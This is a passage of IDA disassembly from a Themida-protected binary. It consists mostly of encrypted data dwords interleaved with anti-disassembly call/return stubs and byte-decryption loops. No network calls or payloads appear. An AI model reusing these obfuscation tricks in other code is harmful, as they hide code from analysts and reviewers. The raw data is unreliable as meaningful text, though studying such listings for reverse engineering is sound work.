0E2E1C351h, 14E9h, 6CCBF800h dd 7DC36CFEh, 95CE223h, 4A35BC09h, 0A7499BB9h, 0C5858B25h dd 81061010h, 71D1BE3h, 0C63Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 14h, 0A7C35747h, 5FDBB66h, 1E5D9D8Bh dd 85C70610h, 6102A25h, 0 ; --------------------------------------------------------------------------- push 0 push edx call sub_59AA2F and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59AA2F proc near ; CODE XREF: Themida_:0059AA27p arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 18h inc edx push edx retn sub_59AA2F endp ; --------------------------------------------------------------------------- db 20h dd 4D9DA96Ah, 22F99D89h, 0BD010610h, 6100DD5h, 0FFF231E9h dd 57006AFFh, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 0D7E63EACh, 0AE96027h, 79000000h, 0E01A88B4h dd 0B0F55082h, 6850FA5h, 89000000h, 1004F595h, 0BD336106h dd 6100DA9h, 8DF8C18Bh, 1013B985h, 50006A06h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1404h, 0C3504000h, 2FC380F5h dd 24048950h, 6A006AF5h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 16042444h, 46000000h, 7892C356h, 0DDBD8BB2h dd 6A06102Eh, 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1704h, 0C3514100h, 6BAE54A4h, 2E38166h, 0F9BD894Bh dd 8D06101Fh, 14F8A685h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1604h, 0C3554500h, 29857FC2h, 10201D85h dd 5C08306h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 0B6C35242h, 444926FFh, 0C1DEAF17h, 0F8B70FA2h dd 0FB8B6650h, 0F240489h, 68Dh, 0C5B50900h, 6A06100Dh dd 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h dd 0C3574700h, 6A5B5282h, 5BD8B00h, 0BB061017h, 33AB6305h dd 1D1995FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 180424h, 53430000h, 52B552C3h, 12E954A6h, 37000000h dd 36307222h, 1D3064Dh, 0C3F75E8Bh, 0C376969Eh, 0E860F8Fh dd 60000000h, 8D0Fh, 9D890000h, 6103001h, 8DFB8B61h, 13AFD88Dh dd 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1404h dd 0C3564600h, 68E0F02h, 89000000h, 100CA99Dh, 6AD1FF06h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 18042444h dd 41000000h, 0D400C351h, 9B31CF4h, 1004DD95h, 14E906h dd 0DCD80000h, 6441DB89h, 4050C793h, 7A94679Ah, 6D60143Fh dd 0BD8336CCh, 6102209h, 96850F01h, 0F000000h, 0D89h, 9D8B6000h dd 6102D51h, 450EBEh, 26A611Dh, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 1Ch, 77C35646h, 451B93F8h, 0F2D45655h dd 90B0F380h, 0E9505B56h, 13h, 969EC3F7h, 0E68FC376h, 9F5B0E96h dd 0FEB13828h, 90728ADFh, 60D9B70Fh, 1395958Bh, 85890610h dd 61027BDh, 9595FF61h, 0BF061004h, 2DE8EE74h, 1B800Fh dd 0E8600000h, 0Dh, 0BEDA80BFh, 0DC1B9CDBh, 0BA7C4062h dd 0E6815FAEh, 7073F8F3h, 0E69E961h, 0E80000h, 5D000000h dd 0F8B0ED81h, 6A0614h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 150424h, 51410000h, 891099C3h, 100EAD9Dh, 0DFBF0F06h dd 99B6858Dh, 0BD890613h, 6101645h, 5850F50h, 0BF000000h dd 4DD40F41h, 6A240489h, 3E85700h, 20000000h, 895FC35Fh dd 8104247Ch, 19042444h, 47000000h, 3C8FC357h, 0FF550410h dd 15819D2Bh, 0FF640610h, 35h, 820F6000h, 6, 1E758D89h dd 9D310610h, 6102865h, 85896061h, 61014A5h, 99BD2B53h dd 59061031h, 25896461h, 0 ; --------------------------------------------------------------------------- push 0 push ebx call sub_59ADC7 and [ebx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59ADC7 proc near ; CODE XREF: Themida_:0059ADBFp arg_4 = dword ptr 8 pop ebx mov [esp-4+arg_4], ebx add [esp-4+arg_4], 19h inc ebx push ebx retn sub_59ADC7 endp ; --------------------------------------------------------------------------- rcl al, cl adc al, 93h mov bh, 0F9h jmp loc_59ADEE ; --------------------------------------------------------------------------- dw 43D0h dd 69540510h, 8E9BE8BEh ; --------------------------------------------------------------------------- xor al, 54h loc_59ADEE: ; CODE XREF: Themida_:0059ADDDj inc dword ptr [ebp+6101419h] push 0 push esi call sub_59ADFF and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59ADFF proc near ; CODE XREF: Themida_:0059ADF7p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_59ADFF endp ; --------------------------------------------------------------------------- db 0E6h dd 294AB054h, 10286D95h, 0E8FF6A06h, 13h ; CODE XREF: Themida_:loc_59BB1Bj dword_59AE20 dd 7AB4E3F2h, 0A312185Fh, 2EBAFC7Fh, 880E05C2h, 892F03A4h ; DATA XREF: Themida_:0054C348o dd 1020E995h, 0B5FF5F06h, 6101B25h, 0EDDBD89h, 95FF0610h dd 6100615h, 12AE9h, 58A0F00h, 66000000h, 440DCB81h, 5300B0F8h dd 0ADF38053h, 70E65F5Fh, 27A99D8Bh, 0F600610h, 61F5C7B7h dd 0BB5371E4h, 613BED59h, 0F613C5Bh, 0F683h, 45958900h dd 0F061000h, 9D89C8B6h, 61006F5h, 6BAh, 51B50100h, 60061021h dd 61F5D88Bh, 9D89C18Bh, 6101149h, 6604E8C1h, 8B24C6BFh dd 100A15BDh, 0E2F76606h, 0D3DBD8Bh, 0C82B0610h, 79BD2352h dd 5B06101Ah, 9D8BD18Bh, 61030ADh, 0A2E9h, 8BFE8B00h, 4C4C4485h dd 5E85Fh, 83520000h, 0E82EB6F2h, 0Fh, 0C1CAA718h, 0E3548796h dd 3A9D84F6h, 0F6D96B7h, 81h, 835F5B00h, 13E807C0h, 0A0000000h dd 0D5E76A7Eh, 357D3501h, 0F96DA781h, 22344C1Dh, 0BD8BBEC1h dd 61029D9h, 0C0835Fh, 5899D09h, 3BF80610h, 11830FD0h dd 81000000h, 184853C7h, 35E905h, 9D8B0000h, 61015B1h dd 0FFFF8D8Bh, 9D8BFFFFh, 6100F99h, 0F01E183h, 1A84h, 83FE8B00h dd 0FFFFFFA5h, 9589FEFFh, 5F4C4C44h, 15A99D8Bh, 0E90610h dd 8D000000h, 146F4EB5h, 0C7806006h, 0C28166D7h, 6A61CFB3h dd 51006A00h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1704h dd 0C3514100h, 3EFD426Ch, 0A5D6CF81h, 95FF4938h, 61031C9h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 14h, 0BAC35646h dd 1F959D8Bh, 7EB90610h, 3100000Fh, 1009C9BDh, 0FCE18306h dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 2C35646h dd 507F278Ah, 1FC6328h, 1010C98Dh, 0B8F506h, 6A000000h dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1D042444h dd 41000000h, 795EC351h, 3AE6EBBFh, 0F3355722h, 2BF8B70Fh dd 858B60D2h, 6100A39h, 11E861h, 0BFA90000h, 0F6EABE5Bh dd 0D60FCAFDh, 2CB43DDDh, 6695E3C9h, 0CCD7F381h, 0C233AD5Fh dd 0D003E8D1h, 7504E983h, 2F781F4h, 6A5D680Ah, 3E85000h dd 20000000h, 8958C358h, 81042444h, 1C042444h, 40000000h dd 1F8EC350h, 2F24B5D4h, 0DBF9014h, 88h, 12E8h, 0ECA9BB00h dd 6A3ADEA6h, 323F68DBh, 55524A64h, 8BF0FC3Dh, 101175BDh dd 958B5B06h, 61009F5h, 23198D8Bh, 6A0610h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 29FA61C3h dd 0BE44D7Ch, 1020ADBDh, 92E78106h, 50238C15h, 188BC28Bh dd 188BC103h, 0E8D1C18Bh, 188BC203h, 25BD8B58h, 66061006h dd 97D5C781h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 17h, 0AAC35242h, 83C25946h, 101E29BDh, 840F0006h, 5Ch dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 4CC35141h dd 0B8FFB70Fh, 0 ; --------------------------------------------------------------------------- push 0 push esi call sub_59B16F and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B16F proc near ; CODE XREF: Themida_:0059B167p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 16h inc esi push esi retn sub_59B16F endp ; --------------------------------------------------------------------------- or ch, cl leave or edi, [ebp+6102179h] lea ecx, [ebp+6104E85h] or [ebp+6101D69h], esi jmp ecx ; --------------------------------------------------------------------------- mov edi, [ebp+6101BADh] cmp dword ptr [ebp+61022C1h], 0 jz loc_59B631 push 0 push edx call sub_59B1B4 and [edx-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B1B4 proc near ; CODE XREF: Themida_:0059B1ACp arg_4 = dword ptr 8 pop edx mov [esp-4+arg_4], edx add [esp-4+arg_4], 15h inc edx push edx retn sub_59B1B4 endp ; --------------------------------------------------------------------------- dd 8B665238h, 0C1BD83D9h, 1061022h, 476840Fh, 850F0000h dd 6, 805B589h, 0BD8B0610h, 6103011h, 22C1BD83h, 0F030610h dd 42186h, 6A60F800h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1B042444h, 42000000h, 9330C352h, 0F774F613h, 0BF0F5C89h dd 0D98C66DBh, 807DDB80h, 6A04E1h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1A0424h, 56460000h, 3E1EF9C3h, 0C6FE86E0h dd 0C90ADEB3h, 0E2840Fh, 81660000h, 8BEE04D3h, 10218585h dd 0A59D2306h, 33061000h, 1011FD85h, 0D5B58906h, 9006102Ah dd 8E9h, 0BC7BF900h, 6C09598Fh, 52505034h, 0B9E1B260h dd 561BE54Eh, 60310F61h, 7DB05A56h, 90585A61h, 2DDD8501h dd 6A0610h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 18h, 87C35747h, 0A7FF3D96h, 0FE33C1BBh, 9D8D891Bh, 0E806100Ah dd 4, 1F03FFh, 7947BB66h, 24448B50h, 0FB8B5304h, 89008B5Bh dd 0BB042444h, 51BA6488h, 0C810F58h, 0F000000h, 684h, 0CDB58900h dd 8B061004h, 0D595FFD9h, 0BB061005h, 7EF80F81h, 0C26D8589h dd 6A0613h, 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h dd 56460000h, 0E9EE50C3h, 27Ch, 577BB66h, 0C265858Bh, 6A0613h dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 8B0CB9C3h, 1008D5BDh, 1800C706h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 14042444h, 40000000h dd 8BAAC350h, 1010959Dh, 0D7816606h, 0B58BC9A6h, 613C269h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 3CC35141h dd 276B84F4h, 14BB2276h, 0C98D899Ch, 0BB061010h, 215F63h dd 0E25858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0CE4165C3h, 7624D5Ah, 6892372h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 4FC35040h dd 0B529EDFEh, 610105Dh, 2185858Bh, 6A0610h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1B0424h, 53430000h, 1FEAF1C3h dd 4BFB9090h, 0FBB70FB0h, 6A044689h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 17042444h, 40000000h, 3E3C350h dd 960701Ch, 101AA9BDh, 118D3106h, 6106101Ch, 8B525050h dd 51310FFBh, 0BE9h, 54304000h, 4E82FE2Ah, 79A5F166h, 89585A5Bh dd 0BD8B2434h, 6102ABDh, 0C265B5FFh, 6A0613h, 3E851h, 59200000h dd 4C8959C3h, 44810424h, 190424h, 51410000h, 2C7495C3h dd 68668B89h, 0EDAA86ADh, 50525060h, 5A310F52h, 0BB310F58h dd 3DF38B2Dh, 0DE9585Ah, 0AA000000h, 438E7049h, 0B17624F6h dd 0DE62DACCh, 24048161h, 12747D52h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 2DC35545h, 8DD95650h, 13C26D85h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 8BFDCC82h, 103091BDh, 0E9609006h, 6, 0B1A017DFh dd 0F600AF6h, 82h, 0CB8B6600h, 50506161h, 905FDF8Bh, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 17h, 0DDC35747h, 8BA829EEh dd 1021E59Dh, 0D595FF06h, 6A061005h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1D042444h, 46000000h, 9AD7C356h dd 1913ECE4h, 3F1BDD7Ch, 19319D8Bh, 95890610h, 61019E9h dd 55006A61h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1C04h dd 0C3554500h, 0A72330C5h, 29CCAEAFh, 0C185C7CEh, 3061022h dd 60000000h, 0EE8h, 0A058600h, 4788D771h, 1D9ED841h, 0F940C24Bh dd 0CFE7805Ah, 6DBD8361h, 613C2h, 14840Fh, 0FB8B0000h dd 28E9h, 0BE666000h, 0F60F47Dh, 6161C8BFh, 305083B7h dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h, 0E9835803h dd 0EBE77504h db 36h ; --------------------------------------------------------------------------- loc_59B631: ; CODE XREF: Themida_:0059B1A3j ; Themida_:0059B648j push eax xor [ecx+edx], al add [ecx+edx+1], ah shr eax, 10h xor [ecx+edx+2], al add [ecx+edx+3], ah pop eax sub ecx, 4 jnz short loc_59B631 jmp short loc_59B667 ; --------------------------------------------------------------------------- loc_59B64C: ; CODE XREF: Themida_:0059B663j push eax shr eax, 10h sub [ecx+edx+3], ah xor [ecx+edx+2], al pop eax sub [ecx+edx+1], ah xor [ecx+edx], al sub ecx, 4 jnz short loc_59B64C jmp short $+2 loc_59B667: ; CODE XREF: Themida_:0059B64Aj mov eax, eax push 0 push ebp call sub_59B674 and [ebp-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B674 proc near ; CODE XREF: Themida_:0059B66Cp arg_4 = dword ptr 8 pop ebp mov [esp-4+arg_4], ebp add [esp-4+arg_4], 17h inc ebp push ebp retn sub_59B674 endp ; --------------------------------------------------------------------------- retf 90C5h ; --------------------------------------------------------------------------- mov byte ptr [ecx], 8Dh push ecx sub eax, 9D8B0610h mov ch, 0Dh adc [esi], al cmp dword ptr [ebp+61022C1h], 3 jnz loc_59BB1B push 0 push esi call sub_59B6AC and [esi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59B6AC proc near ; CODE XREF: Themida_:0059B6A4p arg_4 = dword ptr 8 pop esi mov [esp-4+arg_4], esi add [esp-4+arg_4], 17h inc esi push esi retn sub_59B6AC endp ; --------------------------------------------------------------------------- dd 0D64FA22Dh, 0C26DBD83h, 0F000613h, 44E84h, 0D98B6600h dd 0C26DB5FFh, 6A0613h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 150424h, 55450000h, 8B7FF5C3h, 100A319Dh, 8CAEBF06h dd 95FF4911h, 6102FA5h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 19h, 81C35646h, 654F0725h, 0AAEB806Eh, 0C261B58Bh dd 6A0613h, 3E850h, 58200000h, 448958C3h, 44810424h, 170424h dd 50400000h, 0DEDD11C3h, 0FE8B66A7h, 1EDDBD8Bh, 6C70610h dd 10001h, 68C0Fh, 9D290000h, 6101699h, 8F0F5150h, 2, 895B66B3h dd 0B5312434h, 6101EC5h, 0C26DB5FFh, 6A0613h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 1A0424h, 53430000h, 659A4EC3h dd 0D19AD28Bh, 122595FFh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 160424h, 51410000h, 982D6FC3h, 1C1DBD8Bh dd 0B58B0610h, 613C261h, 1925BD8Bh, 858B0610h, 61021D1h dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 19h, 0A7C35545h dd 7F470679h, 0C48689B0h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 19042444h, 42000000h, 4977C352h dd 0A79412FBh, 0DC59D29h, 958B0610h, 61009F5h, 0C95BD8Bh dd 0C2830610h, 5089F504h, 57006A20h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1504h, 0C3574700h, 0F98B1D00h dd 0D7C2858Dh, 6A0613h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 6066CFC3h, 0EDB9244Fh, 8689517Ch dd 0B8h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Ah, 50C35242h, 1F90B481h, 0BD8B26E6h, 61016DDh, 6A72D380h dd 9BD8900h, 0FF061014h, 13C26DB5h, 0F99D8B06h, 6606101Fh dd 4CC7DF81h, 49595FFh, 6A0610h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0C272D4C3h, 0F50DA8Ah dd 48Fh, 37BB6600h, 243489E3h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 1Bh, 4CC35141h, 1B06C538h, 0FF67B48Eh dd 13C26DB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h dd 1504h, 0C3554500h, 8E0FAD68h, 6, 14B19D89h, 0B70F0610h dd 2D95FFFAh, 6A061016h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1A042444h, 46000000h, 0B590C356h, 52F46208h dd 51BD83AFh, 61013h, 81840Fh, 6A0000h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1B0424h, 50400000h, 9C0929C3h dd 6AF1E5E1h, 0B98D89C0h, 0F906102Ah, 1F8F0F50h, 50000000h dd 880F52h, 0F000000h, 0DE831h, 0F6490000h, 0E0963092h dd 0FBEEFFAEh, 5BA4F279h, 3489585Ah, 7E86024h, 8E000000h dd 86E67FCDh, 8589B914h, 610168Dh, 14E959h, 9FF90000h dd 5EE0A6E6h, 0E05277BEh, 0A575664Ah, 37E36325h, 0FF61D3F8h dd 13C26DB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1804h, 0C3564600h, 0D7DE8DF6h, 48E0F8Fh, 66000000h dd 2B74DEBFh, 101D7DBDh, 1995FF06h, 8B06100Ch, 1019DD9Dh dd 0FFD7B706h, 13C26DB5h, 95FFF806h, 6101621h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Dh, 87C35646h, 686647h dd 25843EDAh, 5E92Ch, 2EC50000h, 83647F5Bh, 100F89BDh dd 840F0206h, 35h, 8D8D8957h, 5B061021h, 10C5858Bh, 0FE90610h dd 6B000000h, 0E25A756Dh, 3E1A466Dh, 6EA6BCC4h, 0C6630Eh dd 79953100h, 0E9061004h, 5, 0F6C7C938h, 2585C750h, 6102Ah dd 6A000000h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 1A042444h, 43000000h, 6015C353h, 0FFC98064h, 0DA8B6653h dd 0CE8h, 0CB27A600h, 7D26FB7Dh, 3EDB50E8h, 0B1B5BB1Bh ; --------------------------------------------------------------------------- xchg dh, [edi+ebx*2] loc_59BB1B: ; CODE XREF: Themida_:0059B69Bj jmp near ptr dword_59AE10+9 ; --------------------------------------------------------------------------- push 0 push edi call sub_59BB2B and [edi-3Dh], bl ; =============== S U B R O U T I N E ======================================= sub_59BB2B proc near ; CODE XREF: Themida_:0059BB23p arg_4 = dword ptr 8 pop edi mov [esp-4+arg_4], edi add [esp-4+arg_4], 19h inc edi push edi retn sub_59BB2B endp ; --------------------------------------------------------------------------- db 8Eh dd 0CDC98ED6h, 880F5080h, 2, 605B20B7h, 0F13BBB66h, 8B61D18Bh dd 51006AC1h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1604h dd 0C3514100h, 607F973Dh, 46D98166h, 0C081665Fh, 8D616FA9h dd 1013B985h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 8166CD21h, 907467C7h, 5050EAB7h dd 0FFBF6652h, 0E9310F07h, 13h, 0F34F050Dh, 438CE125h dd 9A44966Ch, 5AECBD93h, 5ACB15D3h, 6A9058h, 3E857h, 5F200000h dd 7C895FC3h, 44810424h, 180424h, 57470000h, 733E83C3h dd 0B5314694h, 6100AF9h, 850F006Ah, 6, 5B19D89h, 6A0610h dd 858D48B7h, 615091Eh, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ah, 81C35545h, 92B1042Ch, 0C0834F71h, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1C04h, 0C3524200h dd 6D31D76h, 8A46DD89h, 0DE983h, 0D3950000h, 6135DDDEh dd 6FA28D72h, 50C1A11Bh, 89FE8B66h, 8B662404h, 8B006AD8h dd 1011F5BDh, 89006A06h, 103141B5h, 1995FF06h, 6A06101Dh dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 18042444h dd 43000000h, 855AC353h, 31A4DD87h, 1006B1B5h, 699D2B06h dd 8D06102Ah, 13AFD88Dh, 8B665606h, 0D1FF5BD8h, 12E9h dd 1014AF00h, 610F6BCCh, 404E5404h, 5FB6C5A8h, 834793E4h dd 102209BDh, 850F0106h, 0A5h, 0E851006Ah, 3, 59C35920h dd 4244C89h, 4244481h, 16h, 0A2C35141h, 26AD34Ch, 1C1B529h dd 0E8500610h, 13h, 11633322h, 441FFEF1h, 0E58E7A9Dh, 2399BE28h dd 0BF7B769Eh, 42207A98h, 2404895Fh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 17h, 87C35040h, 0F143895h, 0BB66DABFh dd 0BB66A11Dh, 95FF535Fh, 6100495h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 19h, 21C35040h, 958C3345h, 7E9FFh dd 42110000h, 78C933F0h, 0D38E9B3h, 0E80000h, 5D000000h dd 928ED81h, 6A0615h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 190424h, 53430000h, 75D543C3h, 660C54D2h, 9589D88Bh dd 6102361h, 99B6858Dh, 9D890613h, 6100BD9h, 0BAB86090h dd 666004B9h, 5061C28Bh, 21A46CBBh, 6A9031h, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 140424h, 55450000h, 0BD337DC3h dd 61022EDh, 35FF64h, 0F5000000h, 258964h, 6A000000h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 1D042444h, 47000000h dd 0D08FC357h, 5F0B1F8Bh, 0A9CF9D63h, 0EAD9D8Bh, 85FF0610h dd 6101419h, 0BE9h, 0F1DB9900h, 8ED1CD00h, 0FDFEDFD2h dd 45DB529h, 0FF6A0610h, 10E856h, 63A60000h, 0BB6DA91Ah dd 0DEA6ECA9h, 68DB6A3Ah, 0BD89323Fh, 61004DDh, 0B5FF5B5Bh dd 6100EA5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 16h, 0F3C35040h, 95FFB24Ch, 6100615h, 136E9h, 11E900h dd 0B62A0000h, 0AC77C816h, 4FC51EDh, 0A7AFD601h, 0B0BE3BBBh dd 5DB58900h, 0E6061008h, 3D9D3170h, 0E4061009h, 0C3816671h dd 613C5568h, 101830Fh, 85890000h, 6102A99h, 0BAC8B60Fh dd 6, 12E9h, 6A46BD00h, 0C65F885Fh, 0DD5CF6ABh, 0E49939BBh dd 8B3B06E5h, 9E9C1h, 0D4A10000h, 0B6F15927h, 0C10D83A3h dd 0BD8B04E8h, 6100AADh, 60E2F766h, 820FFA8Bh, 6, 10919D01h dd 2B610610h, 0A1BD8BC8h, 8B061005h, 599D8BD1h, 0E9061005h dd 9Bh, 2369B529h, 89600610h, 102D9D9Dh, 77F18106h, 615EB139h dd 4C50858Bh, 10E94755h, 6D000000h, 0A65AF135h, 0B543232Ch dd 0F84B4339h, 837AE807h, 858907C0h, 610221Dh, 8900C083h dd 10079DB5h, 0FD03B06h, 683h, 4CE9F800h, 8B000000h, 0FFFFFF8Dh dd 35BD8BFFh, 83061033h, 840F01E1h, 37h, 68D0Fh, 9D8B0000h dd 6102309h, 0FFFFA583h, 0E8FEFFFFh, 0Dh, 37BFF599h, 0E50DBEB4h dd 0DB3F07D5h, 95895FEFh, 47554C50h, 7458589h, 0E90610h dd 8D000000h, 147ECCB5h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1B04h, 0C3554500h, 0FD51FC2Ch, 7A25624Bh dd 2A65BD89h, 6A0610h, 0E857006Ah, 3, 5FC35F20h, 4247C89h dd 4244481h, 17h, 0BBC35747h, 0F0EBDD5h, 68Ch, 56CB8100h dd 0FF64E06Ch, 1031C995h, 359D8B06h, 0B9061021h, 0F37h dd 11A1BD8Bh, 0E1830610h, 55006AFCh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 3273BC9Fh dd 11929170h, 52006AFCh, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1C04h, 0C3524200h, 627F69E7h, 4FBAB51h, 0E3816656h dd 0B8EA39h, 0BB000000h, 4516BEDh, 0BD8BD22Bh, 6100DA1h dd 0D1C233ADh, 83D003E8h, 0F47504E9h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 31C35343h, 219A8212h, 0BB4357C0h dd 2F3B911Dh, 6860Fh, 0BD8B0000h, 6102161h, 880Dh, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h, 0C3504000h dd 0FE8BC144h, 9F5958Bh, 6A0610h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 140424h, 51410000h, 8D8BE8C3h, 6102319h dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 14h, 0E3C35141h dd 8BC28B50h, 8BC10318h, 0D1C18B18h, 8BC203E8h, 0B9605818h dd 1F24790Ch, 1DC98509h, 89610610h, 102E7185h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 31A16BFEh, 34B337D4h, 10E8697Bh, 0A5000000h, 45B67BCBh dd 282EAC2h, 53E55BDCh, 8B9847D9h, 101425BDh, 0BD835B06h dd 6101E29h, 47840F00h, 0F000000h, 8Dh, 0B800h, 0DE8B0000h dd 2871BD8Bh, 8D8D0610h, 6104E85h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 18h, 0DC35343h, 9DE983DFh, 1425BD8Bh dd 0E1FF0610h, 1C61BD89h, 0BD830610h, 61022C1h, 2E840F00h dd 6A000004h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 8898C353h, 5880Fh, 0ADBB0000h dd 830AAB0Dh, 1022C1BDh, 840F0106h, 414h, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 14h, 0BC35646h, 6810Fh dd 0BD8B0000h, 61000B9h, 22C1BD83h, 0F030610h, 3A986h dd 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h dd 0C3534300h, 0D73758B9h, 0B3217F3Eh, 0E38169FEh, 24982874h dd 6A60F98Ah, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1D042444h, 42000000h, 0D070C352h, 7DFDFBE2h, 48EFA20Dh dd 2199BD29h, 0C3810610h, 0E45CE2Fh, 6AD98C66h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 18042444h, 41000000h dd 0D3F1C351h, 0E8CCE47Ah, 0Bh, 85E9BBADh, 0EBF7F614h dd 29D7381Eh, 102F89B5h, 0E1805F06h, 59958904h, 0A061021h dd 0ED840FC9h, 6A000000h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1D042444h, 45000000h dd 0E27AC355h, 9A8DFA4Dh, 0B76D2DE2h, 2185858Bh, 6A0610h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h dd 81407C3h, 6D09BB66h, 11FD8533h, 6A0610h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1A0424h, 52420000h, 72C755C3h dd 9CAB34E3h, 67D9D8Bh, 60500610h, 8961D48Ah, 0E7802404h dd 0F006A15h, 583h, 8741BB00h, 5681196h, 0F5652B4h, 280h dd 8192B300h, 0B7FA2434h, 9D31564Dh, 6101079h, 5D595FFh dd 6A0610h, 3E850h, 58200000h, 448958C3h, 44810424h, 150424h dd 50400000h, 89A7EAC3h, 13C26D85h, 49858906h, 0E9061012h dd 1D2h, 21359D0Bh, 95890610h, 6100229h, 0C265858Bh, 6A0613h dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h, 51410000h dd 7F819DC3h, 0FE8B660Ah, 1800C7h, 8D890000h, 6101F4Dh dd 6820Fh, 0DB810000h, 725E64D4h, 0C269B58Bh, 0BD890613h dd 6102809h, 0E25858Bh, 6A0610h, 3E850h, 58200000h, 448958C3h dd 44810424h, 180424h, 50400000h, 11271CC3h, 852964EDh dd 6102195h, 858B0689h, 6102185h, 0E852006Ah, 3, 5AC35A20h dd 